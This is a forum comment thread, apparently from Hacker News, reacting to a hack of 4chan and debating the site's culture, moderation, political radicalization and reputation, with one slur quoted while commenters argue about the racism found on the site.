I have been to 4chan maybe 4 times in my life. The first was like ok.. Then I visited /b and LOL'd for a couple of hours. Then it just got redundant and depressing. It really is the arsehole of the internet, but some people seem to find it useful.
Honestly surprised this isn't getting more coverage, not just in the media but here.
Hacker named 4chan hacks 4chan
Meh, I don't feel bad.
The worst interview I ever had in tech was with Christopher Poole when he was founding canv.as, it's hard to feel bad for him.
What was bad about the interview? Can you share any details?
The arrogance and better than thou attitude. He was like the male version of Ellen Degeneres.
He sold the site years ago so this is not affecting him in the slightest.
Can you expand on this? I remember canv.as, it was a weird but interesting project but it seemed doomed from the outset.
This makes me wonder whether there's anything in there that can point to the identity of the original QAnon. That would be a pretty interesting outcome.
4chan doesn't store threads for very long, hence the plethora of third-party archive sites. I doubt they are still storing any useful data from back then.
Given the nature of the hackers and their immediate actions, it seems unlikely they would reveal that sort of information.
Aren't we 99% sure that was a Ron Watkins grift now?
That's why I wrote 'the original'. It's very possible Watkins took control after Q moved from 4Chan to 8Chan from what I've read. I'm far from fully up-to-date on this saga though.
I am pretty sure Q was originally started by the guys behind Cicada3301 before Ron took over
This is a genuinely interesting assertion. Is there any evidence of this?
I see a lot of hate for 4chan here. Why? I’ve never used it, know it by reputation, but not sure why there’s so much hate for it.
https://en.wikipedia.org/wiki/4chan#Controversies_and_harass...
This still stings: https://news.ycombinator.com/item?id=6747373
Even more true in 2025
made me LOL
Because people think /pol/ is 4chan, and it's easier to think that and what others say about something than to invest time into looking into something they were uninterested in looking into to begin with
I hope this isn't too contentious but I'll try to cover most things. I've posted this a few times, but I checked out 4Chan about twice in the early days and saw CSAM both times and it gave me personally a visceral hatred of the site. I've heard it got better/that's not representative but it's a hard thing to shake. The origin of the site is also supposedly Moot getting kicked off SomethingAwful for posting 'lolicon' (child anime porn). They've also gone after and doxxed pedophiles though, so the sites relationship with that sort of content is... complicated. I think most of the worst ended up moving to 4Chan clones quite awhile ago because it really splintered again at some point and became known as the cleaner Chan board.
It's also known for its extremely abrasive mildy sociopathic culture and 4Chan posters have a very samey 'posting voice' where if you don't like it you can hate it. It permeates a lot of the internet, but 4chan is kind of seen as the epicenter. I think it also gets blamed for a lot of negative internet culture like doxxing and choosing targets to harass, although I'm not sure how much of that was actually 4Chan. I think most of those people moved on to Kiwifarms. 4Chan probably gets some hate for things that other Chan sites have like Qanon in a sort of 'you started this' way.
And finally the politics are complicated. It actually used to be slightly left leaning or at least libertarian or anarchist, but over the years pol in particular has been known to be hard right wing. It definitely seems like they had a shift in political tone for the (IMO) worst at some point.
Personally I won't hide that I'm a hater and an unapologetic curmudgeonly old man, but that's my perception. On the other hand if you think the CP stuff is overblown, don't care about the negatives because there are apparently good boards there that are insulated, or are just hard right yourself then it is one of the last major discussion boards on the net. Some of that's probably out of date (like I said I gave up on it pretty quickly) but I'd wager most people with negative opinions are thinking of one or more of those. I'd be interested if any haters have other reasons.
I don't know what CSAM is and after reading the rest of your post I don't want to Google it
"Child Sexual Abuse Material"
> It actually used to be slightly left leaning or at least libertarian or anarchist, but over the years pol in particular has been known to be hard right wing.
If your bar doesn't kick out nazis, your bar becomes the nazi hangout.
https://en.wikipedia.org/wiki/Paradox_of_tolerance
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Certainly has nothing to do with the toxic userbase of at least some of the boards
I bet you 90% of the haters have never even been to the website.
4chan will be studied for years for its role in alt-right radicalization as well as being a baroemeter for young male discontent.
For example, QAnon started on 4chan (I believe as a joke?) [1]. Nowadays a lot of 4chan users and traffic have since migrated to Twitter for pretty obvious reasons. Pseudo-intellectual racism has a lot of roots in 4chan (eg the popularity of Julius Evola [2]) that's deeply tied to "trad" content, Andrew Tate fandom, the manosphere and "self-improvement" [3].
Things like the Bored Ape Yacht Club originated on 4chan and it's full of racist memes [4]. A lot of racist and antisemitic memes originated on 4chan.
Worst of all, it seems like Elon Musk is motivated by a deep desire to be liked by 4chan [5].
So the point is that 4chan users (and admins) have a lot of real-world influence and that's kinda scary. It also makes them a target for this kind of hack. I suspect a lot of people will be exposed by this and in more than a few cases, you'll find ties to the current administration.
[1]: https://www.nbcnews.com/tech/tech-news/how-three-conspiracy-...
[2]: https://jacobin.com/2022/12/fascism-far-right-evola-bannon-b...
[3]: https://www.nature.com/articles/s41599-021-00732-x
[4]: https://www.youtube.com/watch?v=XpH3O6mnZvw
[5]: https://www.aljazeera.com/opinions/2025/4/6/how-musk-ushered...
For users who aren't familiar with 4chan - this post describes only one board - /pol/, where you can find hateful posts about every race and religion. 4chan have 30+ boards in total
To add context, every male in my high school went on that site. Pol was just a place crazy people posted. We used to laugh and read eachother dumb copypastas at lunch with gorgonzola cheese rhymes and bad puns.
The average 15yo boy have enough mental hygiene to know everything you read online is false. The website is not a nazi factory.
Hmm, I'm not sure all 15 year old boys do, though: https://en.wikipedia.org/wiki/2022_Buffalo_shooting
Do you remember when people thought first person shooters made people into murderers because the colombine guy played doom a lot and made a custom wad to simulate the attack?
If a murderer eats omelettes every day we should ban eggs. Eggs turn people into murderers.
Reminder some kids died jumping off buildings with umbrellas after Marry Poppins. Ban movies.
There's a difference between monkey-see-monkey-do and intentional group self-radicalisation. You don't become a racist neo-Nazi teenage mass murderer de novo.
Perhaps the average one does, but some get sucked in, and if there's no Nazi factory where are all the nazis coming from?
https://www.bbc.co.uk/news/articles/cqx4wlynjw5o
How many mass shooters had obvious 4chan radicalization roots? Christchurch definitely.
> everything you read online is false
In its own way, this is also poisonous. It enables holocaust denialists and anti-vaxxers: after all, vaccines and holocaust memorials are on the mainstream internet, so they must be false, right?
A healthy skepticism is good.
Have you gone on social media recently? It is like 90% nonfactual weirdness. Even here on hackers news its tons of mutually exclusive unfalsifiable assertions of perspective, not fact.
I dont know about your family, but mine is pretty religious. Listening to their conversation during thanksgiving gives me about a 90% nonfact rate.
I think humans are just are not beings of fact in general.
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> The average 15yo boy have enough mental hygiene to know everything you read online is false. The website is not a nazi factory.
The real problem is when the internet leaks and boomers assume everything they read online is true.
Worst part of it all? My parents always told me not to trust what's on the internet, and now I have to tell them 99% of what they see on FB or whatever is AI trash and lies.
They didn’t in 4chans heyday and they certainly don’t now. Hell, adults with decades of life experience can’t figure this out either.
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Adding even more context /pol/ is about who can be the most edgy edgelord of the hour. I doubt there are more than half a dozen actual racists people on it not counting 4Chan-GPT.
It's not hard to find people with a racist /pol/er's opinions in real life, or on other social media like Instagram or Twitter. Maybe /pol/ in particular is/was filled with bots, I don't know, but such extreme racism is not as uncommon as you imply these days.
They put on a good show. Real racist people post videos of the f&#$ed up things they do to others that I won't even describe here. They know better than to use a clear-web site especially one using a CDN to show off their behavior. Those forums are on Tor.
4chan is nearly all angsty edgy teens on their cell phones at school trying to act tough and edgy and even they get arrested when talking tough about cops or pulling shenanigans like defacing or vandalizing property to be cool. That's a different interesting topic. Search youtube for all the 4chan unstable kids getting arrested. It's on-par with all the unstables vandalizing Tesla cars.
Well, I believe you that there are lots of kids there that try to seem racist for 4chan cred, and I guess people would know not to post videos of themselves doing those illegal things.
But I remember they had stuff like "n*gger chimpout" compilation threads, and whenever people talk about what they blame on Jews, they seem to be actually bitter and angry, so they do seem legitimately racist. I wouldn't be surprised if there was a lot of overlap with the people who do commit those acts of violence you're talking about, but even if not, I don't think you could say they're not real racists just because they don't post videos of themselves committing violent hate crimes. The board is just diluted by low-effort threads and bait by users of other boards.
But I remember they had stuff like "ngger chimpout" compilation threads*
I guess that's why we don't really see quite eye-to-eye on this. I've seen all those threads and to me that's just kids being edgy because they know it triggers or activates people. Every group has it's trash and they are just singling out one specific groups shenanigans. The same behavior can be found of every breed of human and they would post it if it was edgy to do so. My breed has no shortage of dumb behavior but when it's posted people feel comfortable laughing at it thus it's not edgy or taboo enough.
As a side note, most of the kids on 4chan are also here on HN. They talk about this site, its users and dang all the time. I'm sure they are not happy that I am pointing out they are just LARPing.
Compilation threads like those seem to me more like ways to make each other angrier and more racist. I think they legitimately just hate black people. Like, there's definitely some element of smug self-aware memey edginess about being racist, but there's also unironic vitriolic racism. But yeah, I guess we just disagree here on this.
It doesn't even describe /pol/. This is what 4chan thinks of /pol/ but when you actually go there there is a pluriformmity of opinions and it's indeed mostly just about current events.
The biggest good thing that came out of 4chan and 8chan to me is that it made me extremely weary to ever trust second-hand reports about some place and made me better at identifying reports that read like “This person dislikes this place, never visited it, and just reasons together what it's like.”. It also made me try Tumblr. I heard terrible things about it how it was filled with “social justice warriors” and stuff and unsurprisingly, when actually trying it it was nothing like that and just a fairly chill place where people mostly blog about fiction and pornography and share their thoughts. Even when ignoring the filter and logging out and going to what is trending, almost no content is political.
I remember when 8chan went down and all the news reports and forum posts basically said it was basically Stormfront but I was there at the time and it was nothing like that. People just posted cat memes, talked about fiction, talked about life and dating and stuff. One had to dig on very specific boards to find that kind of content.
People talk a lot about “places”, online or offline or even fiction that they clearly have no firsthand experience with, and just reason together about what it's like. They just “expect it to be like that” based on some image they create in their head, or some cherry picked examples they've seen and start to treat it like fact. It's especially weird when it's about something they clearly don't like, some kind of book or television series of which, despite clearly disliking it, they can supposedly tell you exactly what it's like... well, they've never seen it, they just reasoned it together in their head based on some things they read about it and their own expectations.
I frequent 4chan a lot; it's nothing like this description indeed. I don't frequent /pol/ because I found the discussions to be completely empty but I tried it and it was nothing like that. Even within 4chan I read all sorts of things about other boards that are just not true when actually visiting them. /pol/ isn't a far right echo chamber, /r9k/ isn't full of lonely incels, /lgbt/ isn't some social justice warrior hub despite what one might read about those places on other boards.
This is /pol/ focused, yes, but the other boards aren't separate worlds. It's all part of what many call the "alt-right pipeline" and it's subtle and insidious.
For example, many (particularly women) have consumed Candace Owens's content about the Blake Lively / Justin Baldoni saga, just like many followed certain creators with the Amber Heard trial. Both of thse fall squarely on the alt-right pipeline.
So you may start folloing 9gag. Particularly if you're young, you may enjoy being "edgy" but a bunch of that is actually normalizing right-wing views. Even seeking validation on /b/ fits this.
>Candace Owens's content about the Blake Lively / Justin Baldoni saga, just like many followed certain creators with the Amber Heard trial.
No offense, but this just sounds like gossip
How "subtle and insidious" is it really? I'd say it is shifting the blame of personal responsability to a website. Me and some of my friends use(d) 4chan and we never fell into the pipeline. To the contrary there is a strong left-wing camarederie. And I'd wager that we recognize subtle right-wing views more easily. One doesn't learn about these views by looking at a twitter screenshot but by engaging them.
We should stop treating right-wing ideology as a mind-parasite. And if we do it anyways, we should accept that some people want to get "infected".
How is this different from, for example, reddit? You may start following reddit, niche subreddits, but in reality it's normalizing left-wing views
Sorry, but you don't find any of that shit in /k/ or /m/ or a dozen of the other most popular boards on the site.
You literally are making shit up.
Well that's OK then.
/s
Many people will downplay this, saying that the alt-righters on 4chan were only trolls, or were only a few people sockpuppeting to make it look like there were many, or that these people were already alt-right and that 4chan didn't actually influence anyone into it (and that 4chan's userbase merely cycled out to a set of new alt-right users), but I have to say that's all wrong. I was in several different online communities 2010-2018 of people who met through 4chan, and a startling number of people did actually adopt alt-right politics over this timeframe after I had first met them. I think people who downplay how common radicalization on 4chan was didn't have as clear of a picture as this experience gave me.
I would be 0% surprised to see Stephen Miller's information in this leak.
If you're looking for malign influence on 4chan - look outside the US. Anyone on /pol/ and /k/ after Oct 7th understands clearly who has been influencing if not controlling the site.
I think it's the other way around; keen observers have noticed a 4chan influence on the US Government's policies.
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Meh, good riddance. The old internet wasn't all good.
Jannies had it coming tbh. They were certainly tightening the rope when it came to free speech in the last few years
Always curious to know what kind of speech this kind of complaint refers to.
It's not what you think.
Let me give you an example. /k/ is the weapons/military forum, and it's unironically run by US government authorities. Vulgar racial slurs are wholly permitted -- but if you question certain aspects of US military or foreign policy, or suggest that Russia/China/etc. aren't houses of cards that will topple the moment the US wills it, your comment will probably be deleted and you'll be hit with a 3-day ban.
/k/ has been the U/k/raine board since that invasion started and you risk a ban for deviating from that topic.
Free. In practice whatever a given janny doesn't like gets the boot. The moderation can get REALLY schizophrenic depending on time zone, and there are persistent rumors that certain boards are controlled by groups of interest (notably the cesspool known as /pol/ is very astroturfed).
There's also a "janitortest" account in the leaked list @4chan.org so who knows if there was just a shared password flying around...
Free isn't a kind of speech, it describes a condition under which speech is performed. Their question was what kind of speech is being alluded to.
Their question was a gotcha attempt, and a misguided one at that, hence the answer specifically not playing along.
Once you've made this many comments about it and are still unwilling to describe the acts you're defending I would certainly call that playing.
You're clearly confused. This conversation is about 4chan jannies, not reddit moderators. They don't ban you for posting racial slurs or fascist rhetoric, or any other traditionally offensive material.
Make a thread about Chinese naval buildup or related strategic developments in the Pacific on /k/; banned for "off topic". Get into an argument with a user who turns out to be a janny; banned for "trolling". Respond to a funny /tv/ thread memeing on some TV show, banned for "responding to off topic threads". Post a dozen pictures of rockets in the spaceflight general being raided by some /pol/tard who thinks space is fake, get banned for "spamming".
The jannies are arbitrary and capricious. Three day bans can't be appealed so they hand them out like candy.
If you post "What are your favorite snacks at the movie theater?" you can get a 3 day ban from /ck/ which is too short to appeal. I posted a thread on the Television and Movie board asking what people thought of Matt Walsh's movie What is a Woman and got a 3 day ban which was too short to appeal for posting off topic
Are you genuinely curious, or do you already know this kind of complaint refers to offensive, racist, hateful speech (otherwise known as the type of speech that requires protection, since civil speech that agrees with the popular worldviews does not need protecting)?
Blaming the victims is not cool.
Particularly, when these are good people who put a lot of effort into keeping 4chan a pleasant community, by e.g. removing hate speech and CSAM, as well as banning offenders.
My comment wasn't completely serious and should be taken with a grain of salt. But for example there is / was a German janitor or moderator that that treated the German general on /int/ as his personal safe space
It's a web forum, not a Superfund site.
Instead of burning personal time and energy on trying to clean up 4chan, a person can always just... Not.
Let it burn and sink into the swamp. Stop making that DNS query.
4chan janitors aren't victims of anything no matter what happens to them.
We've heard it time and time again that 4chan is the so called "last bastion of free speech on the internet" when this so called free speech is just being unapologetically racist and antisemitic. I hope its gone for good.
Halfchan's likely been around longer than you have and will just as likely remain around long after you're gone
That's fine, I don't really expect a 22 year old site with generational backup storage to actually go down forever. I'm 23, so I got them beat!
4chan being gone for good would've been a bad thing regardless of your views. All those people who used to come there and just talk wouldn't just cease to exist nor stop feeling the way they feel. At the very least, it's the devil you know.
Yep, there is a reason the site was operational as long as it was.
>unapologetically racist and antisemitic.
Anyone who's actually familiar with 4chan knows that posts containing any of that are cracked on hard, both by other users (replies calling it out) and janitors (delete+ban).
Is this actually true? So they just get around it with countless dogwhistles that mean the exact same thing?
Every single page is filled to the brim with racism, that is evident to anyone who has visited the site.
Yes, and everywhere else people have to worry about being deported for pointing out Israel's war crimes. At least no one needed to worry about that on 4Chan, but seeing an anonymous racist meme is even worse for people like you.
That is a completely separate problem, and it's dishonest making the comparison. Extremist right wing ideology and genocide is actively advocated on /pol/ as well as anti-Jewish rhetoric. Neo-nazism is not pointing out Israel's war crimes, and pointing out Israel's war crimes is not neo-nazism or anti-Jewish. /pol/ isn't antisemitic for Israel's genocide; they just hate Jewish people.
The Trump administration trying to deport people for doing so is also unjustified. People are freely criticizing Israel on other popular social media (notably TikTok and Instagram) without inciting a modern neo-nazi and right wing movement like what has happened on 4chan in the past 10 years.
I, too, prefer to see my vulgar memes served by an AI algorithm alongside ads. Sooooo much better!
/s
you think these are akin to endangered species? these are humans collectivizing and cloaking under maladaptive pretenses. you're advocating for empowering polio because it is life and deserves a chance.